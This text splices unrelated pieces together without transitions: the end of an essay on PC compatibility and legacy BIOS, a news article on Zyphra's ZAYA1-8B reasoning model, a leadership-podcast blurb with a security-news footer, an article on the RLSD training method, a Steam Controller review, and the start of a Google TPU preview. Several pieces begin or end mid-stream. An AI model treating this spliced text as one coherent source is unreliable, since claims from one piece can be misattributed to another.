But one key part of this was that despite what was now MS-DOS existing only to support IBM’s hardware, the BIOS abstraction remained, and the BIOS was owned by the hardware vendor - in this case, IBM. One key difference, though, was that while CP/M systems typically included the BIOS on boot media, IBM integrated it into ROM. This meant that MS-DOS floppies didn’t include all the code needed to run on a PC - you needed IBM’s BIOS. To begin with this wasn’t obviously a problem in the US market since, in a way that seems extremely odd from where we are now in history, it wasn’t clear that machine code was actually copyrightable. In 1982 Williams v. Artic determined that it could be even if fixed in ROM - this ended up having broader industry impact in Apple v. Franklin and it became clear that clone machines making use of the original vendor’s ROM code wasn’t going to fly. Anyone wanting to make hardware compatible with the PC was going to have to find another way.

And here’s where things diverge somewhat. Compaq famously performed clean-room reverse engineering of the IBM BIOS to produce a functionally equivalent implementation without violating copyright. Other vendors, well, were less fastidious - they came up with BIOS implementations that either implemented a subset of IBM’s functionality, or didn’t implement all the same behavioural quirks, and compatibility was restricted. In this era several vendors shipped customised versions of MS-DOS that supported different hardware (which you’d think wouldn’t be necessary given that’s what the BIOS was for, but still), and the set of PC software that would run on their hardware varied wildly. This was the era where vendors even shipped systems based on the Intel 80186, an improved 8086 that was both faster than the 8086 at the same clock speed and was also available at higher clock speeds. Clone vendors saw an opportunity to ship hardware that outperformed the PC, and some of them went for it.

You’d think that IBM would have immediately jumped on this as well, but no - the 80186 integrated many components that were separate chips on 8086 (and 8088) based platforms, but crucially didn’t maintain compatibility. As long as everything went via the BIOS this shouldn’t have mattered, but there were many cases where going via the BIOS introduced performance overhead or simply didn’t offer the functionality that people wanted, and since this was the era of single-user operating systems with no memory protection, there was nothing stopping developers from just hitting the hardware directly to get what they wanted. Changing the underlying hardware would break them.

And that’s what happened. IBM was the biggest player, so people targeted IBM’s platform. When BIOS interfaces weren’t sufficient they hit the hardware directly - and even if they weren’t doing that, they’d end up depending on behavioural quirks of IBM’s BIOS implementation. The market for DOS-compatible but not PC-compatible mostly vanished, although there were notable exceptions - in Japan the PC-98 platform achieved significant success, largely as a result of the Japanese market being pretty distinct from the rest of the world at that point in time, but also because it actually handled Japanese at a point where the PC platform was basically restricted to ASCII or minor variants thereof.

So, things remained fairly stable for some time. Underlying hardware changed - the 80286 introduced the ability to access more than a megabyte of address space and would promptly have broken a bunch of things except IBM came up with an utterly terrifying hack that bit me back in 2009, and which ended up sufficiently codified into Intel design that it was one mechanism for breaking the original XBox security. The first 286 PC even introduced a new keyboard controller that supported better keyboards but which remained backwards compatible with the original PC to avoid breaking software. Even when IBM launched the PS/2, the first significant rearchitecture of the PC platform with a brand new expansion bus and associated patents to prevent people cloning it without paying off IBM, they made sure that all the hardware was backwards compatible. For decades, PC compatibility meant not only supporting the officially supported interfaces, it meant supporting the underlying hardware. This is what made it possible to ship install media that was expected to work on any PC, even if you’d need some additional media for hardware-specific drivers. It’s something that still distinguishes the PC market from the ARM desktop market. But it’s not as true as it used to be, and it’s interesting to think about whether it ever was as true as people thought.

Let’s take an extreme case. If I buy a modern laptop, can I run 1981-era DOS on it? The answer is clearly no. First, modern systems largely don’t implement the legacy BIOS. The entire abstraction layer that DOS relies on isn’t there, having been replaced with UEFI. When UEFI first appeared it generally shipped with a Compatibility Services Module, a layer that would translate BIOS interrupts into UEFI calls, allowing vendors to ship hardware with more modern firmware and drivers without having to duplicate them to support older operating systems¹. Is this system PC compatible? By the strictest of definitions, no.

Ok. But the hardware is broadly the same, right? There’s projects like CSMWrap that allow a CSM to be implemented on top of stock UEFI, so everything that hits BIOS should work just fine. And well yes, assuming they implement the BIOS interfaces fully, anything using the BIOS interfaces will be happy. But what about stuff that doesn’t? Old software is going to expect that my Sound Blaster is going to be on a limited set of IRQs and is going to assume that it’s going to be able to install its own interrupt handler and ACK those on the interrupt controller itself and that’s really not going to work when you have a PCI card that’s been mapped onto some APIC vector, and also if your keyboard is attached via USB or SPI then reading it via the CSM will work (because it’s calling into UEFI to get the actual data) but trying to read the keyboard controller directly won’t², so you’re still actually relying on the firmware to do the right thing but it’s not, because the average person who wants to run DOS on a modern computer owns three fursuits and some knee length socks and while you are important and vital and I love you all you’re not enough to actually convince a transglobal megacorp to flip the bit in the chipset that makes all this old stuff work.

But imagine you are, or imagine you’re the sort of person who (like me) thinks writing their own firmware for their weird Chinese Thinkpad knockoff motherboard is a good and sensible use of their time - can you make this work fully? Haha no of course not. Yes, you can probably make sure that the PCI Sound Blaster that’s plugged into a Thunderbolt dock has interrupt routing to something that is absolutely no longer an 8259 but is pretending to be so you can just handle IRQ 5 yourself, and you can probably still even write some SMM code that will make your keyboard work, but what about the corner cases? What if you’re trying to run something built with IBM Pascal 1.0? There’s a risk that it’ll assume that trying to access an address just over 1MB will give it the data stored just above 0, and now it’ll break. It’d work fine on an actual PC, and it won’t work here, so are we PC compatible?

That’s a very interesting abstract question and I’m going to entirely ignore it. Let’s talk about PC graphics³. The original PC shipped with two different optional graphics cards - the Monochrome Display Adapter and the Color Graphics Adapter. If you wanted to run games you were doing it on CGA, because MDA had no mechanism to address individual pixels so you could only render full characters. So, even on the original PC, there was software that would run on some hardware but not on other hardware.

Things got worse from there. CGA was, to put it mildly, shit. Even IBM knew this - in 1984 they launched the PCjr, intended to make the PC platform more attractive to home users. As well as maybe the worst keyboard ever to be associated with the IBM brand, IBM added some new video modes that allowed displaying more than 4 colours on screen at once⁴, and software that depended on that wouldn’t display correctly on an original PC. Of course, because the PCjr was a complete commercial failure, it wouldn’t display correctly on any future PCs either. This is going to become a theme.

There’s never been a properly specified PC graphics platform. BIOS support for advanced graphics modes⁵ ended up specified by VESA rather than IBM, and even then getting good performance involved hitting hardware directly. It wasn’t until Microsoft specced DirectX that anything was broadly usable even if you limited yourself to Microsoft platforms, and this was an OS-level API rather than a hardware one. If you stick to BIOS interfaces then CGA-era code will work fine on graphics hardware produced up until the 20-teens, but if you were trying to hit CGA hardware registers directly then you’re going to have a bad time. This isn’t even a new thing - even if we restrict ourselves to the authentic IBM PC range (and ignore the PCjr), by the time we get to the Enhanced Graphics Adapter we’re not entirely CGA compatible. Is an IBM PC/AT with EGA PC compatible? You’d likely say “yes”, but there’s software written for the original PC that won’t work there.

And, well, let’s go even more basic. The original PC had a well defined CPU frequency and a well defined CPU that would take a well defined number of cycles to execute any given instruction. People could write software that depended on that. When CPUs got faster, some software broke. This resulted in systems with a Turbo Button - a button that would drop the clock rate to something approximating the original PC so stuff would stop breaking. It’s fine, we’d later end up with Windows crashing on fast machines because hardware details will absolutely bleed through.

So, what’s a PC compatible? No modern PC will run the DOS that the original PC ran. If you try hard enough you can get it into a state where it’ll run most old software, as long as it doesn’t have assumptions about memory segmentation or your CPU or want to talk to your GPU directly. And even then it’ll potentially be unusable or crash because time is hard.

The truth is that there’s no way we can technically describe a PC Compatible now - or, honestly, ever. If you sent a modern PC back to 1981 the media would be amazed and also point out that it didn’t run Flight Simulator. “PC Compatible” is a socially defined construct, just like “Woman”. We can get hung up on the details or we can just chill.

The latest worth paying attention to comes from the lesser-known Palo Alto startup Zyphra, which this week released its new reasoning, mixture-of-experts (MoE) language model, ZAYA1-8B, with just over 8 billion parameters and only 760 million active — far fewer than the trillions estimated for the likes of the big labs. Yet, ZAYA1-8B retains competitive performance on third-party benchmarks against GPT-5-High and DeepSeek-V3.2.

It can be downloaded from Hugging Face now free of charge under a permissive, standard, enterprise-friendly Apache 2.0 license — and enterprises and indie developers can begin using and customizing it immediately to suit their needs. Individual users can also test it themselves here free at Zyphra Cloud, the startup's inference solution.

But the real headline is what ZAYA1-8B was trained on: a full stack of AMD Instinct MI300 graphics processing units (GPUs), the rival to Nvidia GPUs released by AMD nearly three years ago, and which shows that this platform is capable of producing useful models and is a viable alternative to the preferential position Nvidia has maintained in recent years among AI model developers.

How ZAYA1-8B was trained

The "intelligence density" touted by Zyphra is the result of what they describe as a "full-stack innovation" approach, spanning architecture, pretraining, and reinforcement learning (RL).

ZAYA1-8B is built on Zyphra’s proprietary MoE++ architecture, described in a technical report released by the lab. This architecture introduces three fundamental changes to the standard Transformer architecture that gave rise to large language models (LLMs) and the entire generative AI era:

1. Compressed Convolutional Attention (CCA): Unlike standard attention mechanisms that struggle with memory as context windows grow, CCA performs sequence mixing in a compressed latent space. This results in an 8x reduction in KV-cache size compared to full multi-head attention, enabling more efficient long-context reasoning.

2. The ZAYA1 MLP Router: Most MoE models use a linear router to decide which "experts" handle a specific token. Zyphra replaced this with a more expressive multi-layer MLP-based design. To maintain stability during training—a common hurdle for MoEs—they implemented a bias-balancing scheme inspired by PID controllers from classical control theory.

3. Learned Residual Scaling: This controls the growth of the "residual norm" as data flows deeper into the model’s 40 layers, preventing gradient vanishing or explosion with negligible computational overhead.

Reasoning-First Pretraining

A critical differentiator for ZAYA1-8B is that reasoning was integrated from the start of pretraining, rather than being "bolted on" during post-training.

To handle long chain-of-thought (CoT) traces that would otherwise exceed the initial 4K pretraining context, Zyphra developed Answer-Preserving (AP) Trimming.

Think of AP-trimming like a film editor cutting a long scene: instead of cutting the ending (the solution) or dropping the scene entirely, the editor removes the "middle" of the character's monologue while keeping the beginning (the problem setup) and the final reveal (the answer).

This ensures the model learns the relationship between complex problems and their solutions even when the full internal logic doesn't yet fit into memory.

It seemed to work well on my test query about countertop stain removal to ZAYA1-8B running on Zyphra Cloud.

Markovian RSA: redefining test-time compute

The model’s most significant performance leap comes from Markovian RSA, a novel test-time compute (TTC) methodology.

Traditionally, if you want a model to "think harder," you let it generate a longer chain of thought. However, this often leads to "context bloat," where the model loses focus as the history grows too long.

Markovian RSA solves this by decoupling "thinking depth" from "context size". It functions like a recursive scientific peer-review process:

• The model generates multiple parallel reasoning traces (candidates).

• It then extracts only the "tails" (the last few thousand tokens) of these traces.

• These tails are subsampled and presented to the model in a new "aggregation prompt," asking it to reconcile the different approaches into a better solution.

By carrying forward only the tails (typically a 4K-token budget), the model can reason indefinitely without the context window ever overflowing. In practice, this allows the 700M active parameter ZAYA1-8B to achieve a 91.9% score on AIME '25, closing the gap with models that have 30 to 50 times its active parameter count.

Because ZAYA1-8B maintains a small total parameter footprint (8.4B), it is uniquely positioned for on-device deployment and local LLM applications. For enterprises, this enables the deployment of high-tier reasoning capabilities—traditionally reserved for massive cloud-based models—directly onto local hardware or edge devices. This "local-first" reasoning approach addresses common enterprise hurdles regarding data residency, latency, and the high cost of persistent API dependencies.

Benchmarks show a remarkably performant small model that punches above its weight class

Zyphra is positioning ZAYA1-8B as a "punch above its weight" model for developers who need high-tier reasoning without the latency or cost of massive frontier models. After all, its active parameter count is much lower than other similarly-sized models, making it much cheaper and less compute-intensive to run in inference.

• Instruction Following: ZAYA1-8B scores 85.58 on IFEval, remaining competitive with much larger models like Intellect-3 (106B).

• Agentic Capabilities: On the τ² benchmark, the model reaches 43.12, and 39.22 on BFCL-v4, providing a baseline for its ability to handle tool-calling and multi-turn tasks.

In single-rollout evaluations (without the extra "thinking" time), ZAYA1-8B already outperforms its weight class. It beats Qwen3.5-4B and Gemma-4-E4B on math and code benchmarks.

When Markovian RSA is enabled, the results are startling:

• HMMT '25 (Math): ZAYA1-8B hits 89.6%, surpassing Claude 4.5 Sonnet (79.2%) and GPT-5-High (88.3%).

• LiveCodeBench (Coding): The model achieves 69.2%, outperforming DeepSeek-R1-0528.

Zyphra notes that while the model is a specialist in algorithmic reasoning, it lags slightly behind larger models on "knowledge-heavy" tasks like broad factual retrieval (MMLU-Pro), which suggests that while reasoning can be compressed into smaller cores, factual memory still benefits from raw parameter count.

Apache 2.0 open licensed for research and commercial usage

Zyphra has released ZAYA1-8B under the Apache-2.0 license. This is a critical choice for the developer community. Unlike "copyleft" licenses like the GPL, which require any derived work to also be open-source, Apache-2.0 is highly permissive.

For developers and enterprises, this means they can use, modify, and distribute ZAYA1-8B—even within proprietary, commercial applications—without being forced to open-source their own codebases.

It also includes an explicit grant of patent rights from contributors, providing a layer of legal safety for startups building on top of Zyphra’s architecture. By opting for Apache-2.0 over more restrictive "research-only" licenses often seen from frontier labs, Zyphra is signaling a commitment to the open-weight ecosystem.

To deploy ZAYA1-8B, developers must use specific branches from Zyphra's forks of core libraries, as the architecture requires specialized handling:

• Custom Forks: Users should install the zaya1 branch from Zyphra’s versions of the vllm and transformers libraries.

• Deployment Flags: When starting a vLLM server, specific flags are required to handle the reasoning parser and tool-calling (e.g., --reasoning-parser qwen3 and --tool-call-parser zaya_xml).

• Parallelism Strategy: For multi-GPU environments, Zyphra recommends using Data Parallelism (DP) combined with Expert Parallelism (EP). Notably, Tensor Parallelism (TP) for the model's CCA mechanism is not currently supported, making DP+EP the optimal path for scaling inference throughput.

Background on Zyphra

Zyphra: A New Paradigm for Intelligence Density

Founded in 2021 and headquartered in Palo Alto, California, Zyphra Technologies is a full-stack artificial intelligence laboratory dedicated to building human-aligned artificial general intelligence (AGI) — that which outperforms people at most tasks — through a decentralized, open-source framework.

According to the company's official mission statement, Zyphra seeks to challenge the "centralized" dominance of monolithic cloud models by focusing on "intelligence density"—a core guiding principle that aims to maximize the reasoning and logic extracted per parameter and per FLOP.

Zyphra CEO and Co-Founder Krithik Puthalath explained previously to VentureBeat that this strategy is essential for enabling high-performance AI to run locally on hardware such as tablets, wearable glasses, and enterprise servers, thereby ensuring user privacy and reducing reliance on third-party cloud infrastructure.

The company's technical identity is deeply informed by computational neuroscience, led by Co-Founder and Chief Scientist Beren Millidge.

According to Millidge’s personal website, he currently serves as a Postdoctoral Researcher at the University of Oxford’s Nuffield Department of Clinical Neurosciences, where his research focuses on deep credit assignment and mathematical models of the brain.

Millidge, who earned his PhD from the University of Edinburgh, has pioneered research into active inference and the "free-energy principle," concepts that directly influence Zyphra’s pursuit of multimodal architectures capable of long-term memory and continual learning.

This neuroscientific influence was central to the design of Zyphra’s prior Zamba model, released in 2024, which mimics the cortex-hippocampus interaction to share information across sequential layers. A recent TED Talk video provides insight into Millidge's perspective on the intersection of biological neuroscience and AI, which serves as the theoretical foundation for Zyphra's model architectures.

Zyphra has achieved significant technical milestones through a deep integration with the AMD hardware ecosystem, as detailed in the company's research documentation.

Financial data from PitchBook indicates that Zyphra is currently a venture-backed company that attained "Unicorn" status in June 2025 following a $110 million Series A funding round. According to PitchBook and company press releases, Zyphra is supported by a group of strategic investors including Advanced Micro Devices (AMD), IBM, Bison Ventures, and BC VC. With a team of approximately 31 employees as of 2026, the company continues to expand its footprint through the Zyphra Inference Cloud and Maia, an intelligent assistant platform designed to bring advanced search and productivity tools to enterprise teams.

Community reactions and industry context

The announcement has resonated strongly within the AI community, garnering nearly 1 million views on X/Twitter within 24 hours. The excitement largely centers on two factors: the viability of the AMD stack and the efficiency of the reasoning "cascade."

Technologists have noted that Zyphra’s post-training process—a 4-stage RL cascade—is unusually disciplined. Most labs use a single round of RL, but Zyphra’s pipeline includes a "reasoning warmup" followed by a curriculum of 400 adaptive puzzle-like environments (RLVE-Gym) before finally moving to behavioral polishing.

One of the most praised "under-the-hood" details is Router Replay. In MoE models, training can become unstable if the "trainer" engine and the "inference" engine make slightly different decisions about which expert to use for a token due to floating-point noise. Zyphra’s system records the exact expert choices made during generation and forces the trainer to use them, effectively "pinning" the computation path and ensuring higher learning stability.

As the industry faces a potential plateau in the benefits of simply adding more parameters, ZAYA1-8B provides a compelling counter-narrative: that the next frontier of AI isn't just about bigger clusters, but about smarter "thinking" algorithms that can do more with less.

The framework is simple: belief comes first, then business generation, followed by infrastructure, and finally leadership. Each pillar builds on the one before it.

If belief is weak, everything downstream—marketing, scaling, leadership—becomes unstable. You may still execute, but results will plateau or break under pressure. Strong internal conviction enables consistent external influence.

Are you trying to scale systems and lead others without first solidifying your own belief foundation?

Subscribe to our podcasts: https://securityweekly.com/subscribe

#Leadership #Sales #Mindset #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

Read more →

The post Wasn’t Visibility Supposed to Fix This? appeared first on IT Security News.

Researchers at JD.com and several academic institutions recently introduced a new training paradigm that sidesteps this dilemma. The technique, called Reinforcement Learning with Verifiable Rewards with Self-Distillation (RLSD), combines the reliable performance tracking of reinforcement learning with the granular feedback of self-distillation. 

Experiments indicate that models trained with RLSD outperform those built on classic distillation and reinforcement learning algorithms. For enterprise teams, this approach lowers the technical and financial barriers to building custom reasoning models tailored to specific business logic.

The problem with training reasoning models

The standard method for training reasoning models is Reinforcement Learning with Verifiable Rewards (RLVR). In this paradigm, the model learns through trial and error, guided by a final outcome from its environment. An automated verifier checks if the model’s answer is right or wrong, providing a binary reward, such as a 0 or 1.

RLVR suffers from sparse and uniform feedback. “Standard GRPO has a signal density problem,” Chenxu Yang, co-author of the paper, told VentureBeat. “A multi-thousand-token reasoning trace gets a single binary reward, and every token inside that trace receives identical credit, whether it's a pivotal logical step or a throwaway phrase.” Consequently, the model never learns which intermediate steps led to its success or failure.

On-Policy Distillation (OPD) takes a different approach. Instead of waiting for a final outcome, developers pair a smaller student model with a larger, more capable teacher model. For each training example, the student compares its response to that of the teacher token by token. This provides the student with granular feedback on the entire reasoning chain and response-generation process.

Deploying and running a separate, massive teacher model alongside the student throughout the entire training process incurs massive computational overhead. “You have to keep a larger teacher model resident throughout training, which roughly doubles your GPU footprint,” Yang said. Furthermore, the teacher and student models must share the exact same vocabulary structure, which according to Yang, “quietly rules out most cross-architecture, cross-modality, or multilingual setups that enterprises actually run.”

The promise and failure of self-distillation

On-Policy Self-Distillation (OPSD) emerged as a solution designed to overcome the shortcomings of the other two approaches. In OPSD, the same model plays the role of both the student and the teacher.

During training, the student receives a standard prompt while the teacher receives privileged information, such as a verified, step-by-step answer key. This well-informed teacher version of the model then evaluates the student version, providing token-by-token feedback as the student tries to solve the problem using only the standard prompt.

OPSD appears to be the perfect compromise for an enterprise budget. It delivers the granular, step-by-step guidance of OPD. Because it eliminates the need for an external teacher model, it operates with the high computational efficiency and low cost of RLVR, only requiring an extra forward pass for the teacher.

However, the researchers found that OPSD suffers from a phenomenon called “privileged information leakage.”

“The objective is structurally ill-posed,” Yang said. “There's an irreducible mutual-information gap that the student can never close... When self-distillation is set up as distribution matching, the student is asked to imitate the teacher's full output distribution under privileged context.”

Because the teacher evaluates the student based on a hidden answer key, the training objective forces the student model to learn the teacher’s exact phrasing or steps instead of the underlying reasoning logic. As a result, the student model starts hallucinating references to an invisible solution that it will not have access to in a real-world deployment.

In practice, OPSD models show a rapid spike in performance early in training, but their reasoning capabilities soon plateau and progressively degrade over time.

Decoupling direction from magnitude with RLSD

The researchers behind RLSD realized that the signals governing how a model updates its parameters have fundamentally asymmetric requirements. They identified that the signal dictating the direction of the update (i.e., whether to reinforce or penalize a behavior) can be sparse, but must be perfectly reliable, because pointing the model in the wrong direction damages its reasoning policy.

On the other hand, the signal dictating the magnitude of the update (i.e., how much relative credit or blame a specific step deserves) benefits from being extremely dense to enable fine-grained, step-by-step corrections.

RLSD builds on this principle by decoupling the update direction from the update magnitude. The framework lets the verifiable environmental feedback from the RLVR signal strictly determine the direction of learning. The model only receives overall reinforcement if the final answer is objectively correct.

The self-teacher is stripped of its power to dictate what the model should generate. Instead, the teacher's token-by-token assessment is repurposed to determine the magnitude of the update. It simply distributes the total credit or blame across the individual steps of the model's reasoning path.

This alters how the model learns compared to the classic OPSD paradigm. In standard OPSD, the training objective acts like behavioral cloning, where the model is forced to directly copy the exact wording and phrasing of the teacher. This causes the student to hallucinate and leak references to data it does not have.

Instead of forcing the model to copy a hidden solution, RLSD provides a natural and virtually cost-free source of per-token credit information.

“The intuition: we're not teaching the model to reason like the teacher,” Yang said. “We're telling the model, on the path it chose, which of its own tokens were actually doing the work. The model's exploration distribution stays its own. Only the credit allocation gets sharpened.”

If a specific deduction strongly supports the correct outcome, it receives a higher score. If it is just a useless filler word, it receives a baseline score. RLSD eliminates the need to train complex auxiliary reward networks, manually annotate step-by-step data, or maintain massive external teacher models.

Putting RLSD to the test

To test RLSD, the researchers trained the open-weight Qwen3-VL-8B vision-language model and evaluated it on several visual reasoning benchmarks. These included MMMU for college-level multi-discipline questions, MathVista, MathVision, WeMath, and ZeroBench, a stress-test benchmark explicitly designed to be nearly impossible for current frontier models.

They compared the RLSD model against the base model with no post-training, standard RLVR via the GRPO algorithm, standard OPSD, and a hybrid combination of the two.

RLSD significantly outperformed every other method, achieving the highest average accuracy of 56.18% across all five benchmarks. It beat the base model by 4.69% and outperformed standard RLVR by 2.32%. The gains were most pronounced in complex mathematical reasoning tasks, where RLSD outperformed standard RLVR by 3.91% on the MathVision benchmark.

Beyond accuracy, the framework offers massive efficiency gains. “Concretely, RLSD at 200 training steps already beats GRPO trained for 400 steps, so roughly 2x convergence speedup,” Yang said. “Cost-wise, the only overhead beyond a normal GRPO pipeline is one extra forward pass per response to grab teacher logits. Compared to rollout generation... that's basically free.”

Unlike OPSD, which saw performance spike and then completely collapse due to information leakage, RLSD maintained long-term training stability and converged on a higher performance ceiling than standard methods.

The qualitative findings highlight how the model alters its learning behavior. For example, in a complex visual counting task, standard RLVR looks at the final correct answer and gives the entire paragraph of reasoning tokens the same reward. RLSD surgically applied rewards to the specific mathematical subtraction steps that solved the problem, while actively down-weighting generic filler text like "Looking at the image, I see...".

In another example, the model performed an incorrect math derivation based on a bar chart. Instead of labeling the whole response as a failure, RLSD concentrated the heaviest penalty on the exact point where the model misread a relationship from the chart. It remained neutral on the rest of the logical setup, recognizing that the initial framework was valid.

This is particularly important for messy, real-world enterprise use cases. If a model makes a mistake analyzing a 50-page quarterly earnings report, developers do not want it to unlearn its entire analytical framework. They just want it to fix the specific assumption it got wrong. RLSD allows the model to learn exactly which logical leaps are valuable and which are flawed, token by token. Because RLSD does this by repurposing the model itself, it provides models with granular reasoning capabilities while keeping the costs of training reasonable.

How enterprises can get started

For data engineers and AI orchestration teams, integrating RLSD is straightforward, but it requires the right setup. The most critical requirement is a verifiable reward signal, such as code compilers, math checkers, SQL execution, or schema validators. “Tasks without verifiable reward (open-ended dialogue, brand-voice writing) belong in preference-based pipelines,” Yang said.

However, RLSD is highly flexible regarding the privileged information it requires. While OPSD structurally requires full intermediate reasoning traces, forcing enterprises to either pay annotators or distill from a frontier model, RLSD does not.

“If you have full verified reasoning traces, great, RLSD will use them,” Yang said. “If all you have is the ground-truth final answer, that also works... OPSD doesn't have this flexibility.”

Integrating the technique into existing open-source multi-modality RL frameworks like veRL or EasyR1 is incredibly lightweight. According to Yang, it requires no framework rewrite and slots right into the standard stack. The code swap involves simply changing tens of lines to adjust the GRPO objective and sync the teacher with the student.

Looking ahead, RLSD offers a powerful way for enterprises to maximize their existing internal assets.

“The proprietary data enterprises hold inside their perimeter (compliance manuals, internal documentation, historical tickets, verified code snippets) is essentially free privileged information,” Yang concluded. “RLSD lets enterprises feed this kind of data straight in as privileged context, which sharpens the learning signal on smaller models without needing an external teacher and without sending anything outside the network.”

Valve’s end goal for the Steam Controller is compatibility with the Steam Machine, a console that doesn’t yet have a public release date or price point. The Steam Machine will support 4K gaming at 60 fps with FSR, it’ll come with 512GB or 2TB of SSD storage, and it’ll work with the Steam Frame VR headset, as will the Controller. The new Steam Machine was supposed to drop early this year, fulfilling a long-promised dream of PC gaming by moving your entire Steam library to the couch in a compact but powerful box. Due to the memory shortages plaguing the tech industry, the Machine and Frame aren't here yet, so the Steam Controller is the first step in Valve’s hardware takeover of living room territory. It’s due to come out on May 4, priced at $99.

The Steam Controller represents roughly 13 years of R&D, from its first iteration announced in 2013 to the debut of the Steam Deck in 2022, and the refinement period clearly paid off.

The Steam Controller is a tidy chonker of a gamepad with a broad, Duke-like face holding two square trackpads beneath the standard analog sticks and face buttons. Despite its extra girth, the Steam Controller feels light, slim and balanced, even in my smaller-than-average hands. The grips are slender and have four circular rear buttons, two per side, that are super satisfying to click even when they don’t do anything in-game. The bumpers, triggers, D-pad and face buttons are shiny black plastic, and all of the controller’s edges are rounded, allowing for a smooth glide between the bumpers and triggers especially. The trackpads don’t get in the way when you don’t need them, but in-use, they’re incredibly sensitive and kind of mesmerizing. They look and feel just like the trackpads on the Steam Deck, following the trails of your thumbs with miniature popping bubbles.

The Steam Controller uses tunnel magnetoresistance (TMR) joysticks, which are a leveled-up version of Hall effect sticks, offering ultimate precision and long-term stability with no chance of drift. After a few days of use across a range of game genres, including competitive first-person shooters, they’ve proven to be reliable and accurate. In terms of stick precision and feel, I find the Steam Controller is comparable to the Razer Wolverine V3 Pro, my PC gamepad of choice. I otherwise much prefer the swappability, rubberized microswitches and crisp clickiness of Razer’s gamepad — but the Wolverine also costs about $100 more and doesn’t come with trackpad capabilities, so we’ll call it a wash.

Sam Rutherford for Engadget

One of the neatest aspects of the Steam Controller is its charging and connection puck, which plugs into your PC or Steam Deck through a USB cable and enables stable wireless play. The puck snaps onto the belly of the controller for charging, and when you hover the gamepad’s connection point over it, it jumps up and latches on like a cute little sucker fish. I don’t know if this behavior is an intentional selling point, but it certainly is for me. The Steam Controller also connects to devices via Bluetooth or with a cable, and in all configurations it’s performed without issue for me. Of course, Bluetooth mode has the highest latency, so that’s mainly for phones and Steam Link play. The puck can support two Steam Controllers at once. Swapping between Puck and Bluetooth mode is a simple matter of holding the right bumper and A or B, respectively, when you turn the controller on.

Pressing the power button with the Steam logo wakes up the gamepad, and pressing it twice when you’re connected to a PC launches Steam in Big Picture mode. The Steam Controller feels like a natural extension of Valve’s storefront, and with its matte black finish and bubbled edges, it’ll be familiar to anyone who’s fallen in love with a Steam Deck these past few years.

I tested out the controller on my PC with Steam games and non-Steam games (added to my Steam library first, of course — seriously, more on that later), and in my living room with my Steam Deck acting as a makeshift, low-powered Steam Machine. On PC I played The Seance of Blake Manor, Creature Kitchen and Overwatch, and on Steam Deck I played Blake Manor, Demonschool and Balatro. Whether connected with Bluetooth, the puck or USB, the Steam Controller provided seamless play and no noticeable latency. The distance from my couch to the puck nestled behind my Steam Deck is about eight feet, and I didn’t feel a frame drop while cosplaying as a Steam Machine owner. I also never ran into battery issues, but that’s not shocking considering Valve’s claim that the gamepad has more than 35 hours on a single charge. In my testing, the battery barely registered a drop after multiple hours of playtime, and I was happy to snap on the charging puck whenever I wanted to set the controller down.

Sam Rutherford for Engadget

Valve notes the battery life may be lower if playing with the Steam Frame. The Steam Controller has infrared LEDs for tracking, which will obviously drain the battery a little faster. Some VR games may have you waving your controller, as there are gyroscopic sensors in there as well. As the Steam Frame isn’t out, I wasn’t able to test some of the controller’s more interesting features.

Even against players using a keyboard and mouse in competitive Overwatch matches, I won games and earned awards, passing my personal ultimate test of a controller’s capabilities. When it comes to Overwatch, I’m mostly comparing the Steam Controller to Sony’s DualSense, and it feels surprisingly similar. I enjoy the Steam Controller’s smooth slide between the bumpers and triggers, though its haptic feedback is more subtle than the DualSense’s, lacking in the analog sticks particularly. Much like with the Steam Deck, I haven’t found a consistent use case for the trackpads on the Steam Controller, but I appreciate their inclusion, the accessibility factor, and the fact that they aren’t otherwise intrusive. Now, just add a Playdate crank and I’m really sold.

The Steam Controller is a clear and unmistakable signal that Valve is joining the console wars, and perhaps by patient and diligent design, it’s appearing at a vulnerable time. Xbox is fumbling the current generation and attempting to redefine its place in the console market amid a significant leadership shakeup, while Sony and Nintendo are carrying on with standard hardware upgrade cycles in a landscape that’s based less on platform exclusivity every day. Right now there’s room for a robust PC-based storefront to stake its claim on couch gaming, and voila, here’s Valve with the Steam Machine and Steam Controller.

Sam Rutherford for Engadget

Similarly to the way Valve used Half-Life 2 to get people to download Steam in 2004, the Steam Controller pushes players to fully consolidate their PC libraries in its own ecosystem. You’ll have to add games with their own launchers like Overwatch, Valorant, Minecraft and Fortnite to your Steam library before you can play them using Valve’s controller. This is a small inconvenience, since it takes just a few clicks to add a non-Steam game to your profile.

(Welcome to later). However, I don’t enjoy doing it. As I was browsing through files to add Overwatch to my Steam library, I couldn’t help thinking that it would have been pretty easy for Valve to add a switch that would let the Steam Controller communicate with any PC game. Maybe it's a touch of oppositional defiant disorder, but I despise being coerced into behaviors that are designed to serve a corporation’s market control over my own workflow, especially in my personal spaces.

Now more than ever, I value my ability to choose — which businesses I work with, where I store my software, how I play — and the Steam launcher requirement is another small expansion of Valve’s incredible power in the PC games industry. It’s too easy to say, most of my games are already on Steam, no big deal, and use the Controller as an excuse to consolidate them all on Valve’s launcher. Suddenly, Steam is where you begin and end every gaming session, rather than just most. Obviously and especially with the coming rollout of the Steam Machine, this is the reality that Valve wants: a rich industry utterly reliant on its platform of DRM, shitty revenue splits and random opaque censorship. It’s the situation that Microsoft, Apple or Epic also want for themselves, but the main difference is that this future is actually in reach for Valve, and the Steam Controller is a tiny part of the plan. If willing and unforced support of a monopoly makes you bristle as well, feel free to stick with 8BitDo.

Sam Rutherford for Engadget

Truly though, I get it. The Steam Controller doesn’t come with a PC switch because it’s not a PC controller. It’s for controlling Steam, a service that’s become synonymous with PC and handheld gaming, and is now creeping onto the living-room scene. The Steam Controller is designed to follow you everywhere Steam is, for all your gaming needs across every screen forever and always — and there is something soothing about that idea in a Brave New World Soma kind of way. A PC controller? That’s far too limited, from Valve’s perspective.

Encroaching corporate dystopia aside, the Steam Controller is a sturdy and sleek gamepad that stands up to the competition. It’s for Valve diehards, trackpad fanatics and anyone whose main gaming hub is Steam. Which, to be clear, is a massive market that’s only poised to grow.

On Tuesday night, inside a private gathering at F1 Plaza in Las Vegas, Google previewed its eighth-generation Tensor Processing Units. The pitch: two custom silicon designs shipping later this year, each purpose-built for a different half of the modern AI workload. TPU 8t targets training for frontier models, and TPU 8i targets the low-latency, memory-hungry world of agentic inference and real-time sampling.

Amin Vahdat, Google's SVP and chief technologist for AI and infrastructure (pictured above left), used his time onstage to make a point that matters more to enterprise buyers than any individual spec: Google designs every layer of its AI stack end-to-end, and that vertical integration is starting to show up in cost-per-token economics that Google says its rivals cannot match.

"One chip a year wasn't enough": Inside Google's 2024 bet on a two-chip roadmap

